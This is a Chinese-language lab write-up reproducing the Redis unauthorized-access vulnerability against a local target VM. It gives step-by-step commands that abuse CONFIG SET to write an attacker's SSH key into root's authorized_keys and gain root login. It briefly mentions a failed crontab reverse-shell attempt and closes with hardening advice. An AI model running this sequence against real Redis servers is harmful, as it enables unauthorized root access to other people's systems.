漏洞复现
0x00 靶机配置
IP:192.168.99.100
使用
apt install redis-server
安装redis服务vi /etc/redis/redis.conf
,注释掉bind 127.0.0.1 ::1
即让redis监听所有网段新版的redis无密码时会触发保护模式,使用
CONFIG SET protected-mode no
解除保护模式以root身份启动redis
1
2
3
4[email protected]:/etc# ps -ef|grep redis-server
redis 2847 1 0 21:05 ? 00:00:04 /usr/bin/redis-server *:6379
[email protected]:/etc# kill -9 2847
[email protected]:/etc# redis-server
0x01检测是否存在漏洞
在攻击机上探测端口是否开放,redis默认端口为6379:1
2$ nc -nv 192.168.99.100 6379
(UNKNOWN) [192.168.99.100] 6379 (?) open
使用apt install redis
安装redis,接着尝试连接:1
2
3
4
5
6
7
8
9
10$ redis-cli -h 192.168.99.100
192.168.99.100:6379> info
# Server
redis_version:4.0.9
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:76095d16786fbcba
redis_mode:standalone
os:Linux 4.15.0-30-generic x86_64
arch_bits:64
0x02 写ssh公钥实现远程登陆
首先生产密钥对:
1 | ssh-keygen -t rsa |
将公钥制作成上传文件:
1 | (echo -e "\n\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n\n") > upload.txt |
将上传文件保存在redis-cli的临时变量中:
1 | cat ~/upload.txt | redis-cli -h 192.168.99.100 -x set tmp |
连接redis,将tmp变量的内容写入/root/.ssh/authorized_keys:1
2
3
4
5redis-cli -h 192.168.99.100
config set dir /root/.ssh
config set dbfilename authorized_keys
get tmp
save
接着使用私钥即可登陆靶机:1
ssh -i ~/.ssh/id_rsa [email protected]
可以发现登陆成功:
0x03 写crontab文件反弹shell
crontab跟ssh差不多,但是笔者再ubuntu18.04中复现失败,原因是写入的crontab文件存在redis的一些字符,导致格式不正确:
防护
使用
apt install redis-server
的方式安装,并且使用service redis start
启动redis,这样redis会在一个低权限用户下运行:若必须以root身份运行,为redis设置一定强度的密码(实际复现中我们可以发现,新版redis在以root运行,不设置密码的情况下会启动保护模式,只允许本地cli)
定时检查redis日志: